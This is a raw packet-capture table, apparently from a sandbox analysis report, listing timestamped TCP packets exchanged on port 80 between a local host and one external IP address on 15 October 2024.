Oct 15, 2024 19:22:29.558613062 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.558651924 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558689117 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558722019 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558736086 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.558756113 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558767080 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.558795929 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558829069 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558856964 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558875084 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.558890104 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558900118 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.558942080 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.558970928 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.559003115 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.559020042 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.559036970 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.559046984 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.559086084 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.559118986 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.559153080 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.559173107 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.559185982 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.559197903 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.559218884 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.559253931 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.559309006 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.559802055 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.559830904 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.559854031 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.564232111 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.564285994 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.564320087 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.564347982 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.603786945 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.606276035 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.606338978 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.606374025 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.606395006 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.606408119 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.606442928 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.606466055 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.606476068 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.606512070 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.606543064 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.606560946 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.606601954 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.608654022 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.662523031 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.662571907 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.662628889 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.662642956 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.662674904 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.662717104 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.662728071 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.662764072 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.662797928 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.662822962 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.662832022 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.662864923 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.662914038 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.662920952 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.662950993 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.662983894 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.663013935 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.663021088 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.663032055 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.663062096 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.663094044 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.663127899 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.663161993 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.663165092 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.663192034 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.663197041 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.663230896 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.663271904 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.666814089 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.666887999 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.667254925 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667325974 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667362928 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667376041 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.667469978 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667525053 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667531967 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.667556047 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667588949 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667623997 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667639017 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.667661905 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667666912 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.667695999 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667727947 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667762995 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667778015 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.667790890 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667805910 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.667823076 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667857885 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667891026 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667912960 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.667929888 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667932987 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.667963028 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.667998075 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.668034077 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.668040991 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.668067932 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.668081999 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.668098927 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.668132067 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.668139935 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.668169975 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.668204069 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.668236971 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.675442934 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.675513029 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.675566912 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.675585032 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.675599098 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.675633907 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.675657034 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.675668001 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.675721884 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.675755024 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.675771952 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.675771952 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.675806046 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.675837994 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.675873995 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.675906897 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.675940990 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.675982952 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.675982952 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.675991058 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676026106 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676049948 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.676057100 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676079035 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.676095963 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676126003 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676143885 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.676160097 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676193953 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676211119 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.676223993 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676255941 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676289082 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676311970 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.676321030 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676371098 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.676374912 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676428080 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676461935 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676495075 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676523924 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.676527023 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676534891 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.676559925 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676592112 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676635981 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.676641941 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676675081 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676688910 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.676707029 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676739931 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676753044 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.676773071 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676806927 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676862955 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.676863909 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676898003 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676915884 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.676929951 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676950932 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.676963091 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.676996946 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.677016973 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.677033901 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.677062035 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.677112103 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.677118063 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.677156925 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.677170992 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.677191019 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.677225113 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.677242994 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.678191900 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.678244114 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.678261042 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.678282976 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.678323984 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.678335905 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.678972006 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.679008007 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.679032087 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.679043055 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.679078102 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.679100990 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.682275057 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.682313919 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.682341099 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.728912115 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.790674925 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.790745974 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.790798903 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.790824890 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.790838003 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.790868998 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.790915012 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.790920973 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.790957928 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.790977001 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.790994883 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.791047096 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.791094065 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.791184902 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.791218996 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.791249037 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.791253090 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.791304111 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.791472912 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.791527033 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.791559935 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.791579962 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.791603088 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.791636944 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.791687965 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.792067051 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.792130947 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.792160034 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.792184114 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.792217970 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.792251110 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.792269945 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.792304993 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.792321920 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.792339087 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.792372942 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.792402983 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.792794943 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.792850018 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.792854071 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.792886019 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.792938948 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.792993069 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.793029070 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.793064117 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.793076992 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.793098927 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.793134928 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.793195963 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.793659925 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.793736935 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.793771029 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.838202000 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.839255095 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.839296103 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.839333057 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.839364052 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.839371920 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.839644909 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.853121996 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.853166103 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.853589058 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.894011021 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894056082 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894093037 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894128084 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894164085 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894169092 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.894190073 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.894220114 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894252062 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894283056 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.894287109 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894320011 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894325018 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.894355059 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894387007 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894421101 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894439936 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.894457102 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894464970 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.894495010 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894530058 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894536972 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.894563913 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894598007 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894607067 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.894630909 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894665003 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894678116 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.894697905 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894730091 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894762993 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894773006 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.894797087 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894809008 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.894829988 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894864082 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894874096 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.894900084 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.894939899 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.894953966 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895008087 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895040035 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895055056 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.895078897 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895112038 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895147085 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895169020 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.895179987 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895194054 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.895214081 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895247936 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895253897 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.895281076 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895313978 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895328999 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.895347118 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895380020 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895404100 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.895433903 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895466089 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895483971 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.895500898 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895533085 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895565987 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895577908 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.895600080 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895607948 CEST	49761	80	192.168.2.5	87.120.127.223
